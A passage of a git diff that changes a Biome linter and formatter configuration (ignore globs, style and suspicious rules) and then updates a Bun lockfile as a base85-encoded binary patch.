"!**/node_modules", + "!**/.next", + "!**/dist", + "!**/.turbo", + "!**/.source", + "!**/convex/_generated", + "!**/components/ui/**" + ] + }, + "formatter": { + "enabled": true, + "indentStyle": "space", + "includes": ["!**/test/snapshots/**/*"] }, "linter": { "enabled": true, "rules": { - "suspicious": { - "noExplicitAny": "off" - }, - "style": { - "useImportType": "off", - "noParameterAssign": "error", - "useAsConstAssertion": "error", - "useDefaultParameterLast": "error", - "useEnumInitializers": "error", - "useSelfClosingElements": "error", - "useSingleVarDeclarator": "error", - "noUnusedTemplateLiteral": "error", - "useNumberNamespace": "error", - "noInferrableTypes": "error", - "noUselessElse": "error" - }, "recommended": true, - "a11y": { - "noSvgWithoutTitle": "off" - }, - "correctness": { - "noUnusedVariables": "warn", - "noUnusedImports": "warn" + "suspicious": { + "noFallthroughSwitchClause": "off", + "noExplicitAny": "off" } - }, - "includes": ["**", "!**/node_modules", "!**/tsconfig*", "!**/dist", "!**/components/ui/**"] - }, - "formatter": { - "indentStyle": "space", - "indentWidth": 2, - "enabled": true, - "lineWidth": 120, - "includes": ["**", "!**/node_modules", "!**/tsconfig*", "!**/dist"] + } }, "assist": { "actions": { "source": { "organizeImports": "on" } } }, "javascript": { diff --git a/web/bun.lockb b/web/bun.lockb index c3e344f052954a945f7c0743266524075cc84d4c..d1ec0bb9ee71bd5ad84970dbe59caff2d8ef7481 100755 GIT binary patch delta 60218 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%0D>Lwz(4V%;c#dPF7hTbqo*v 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 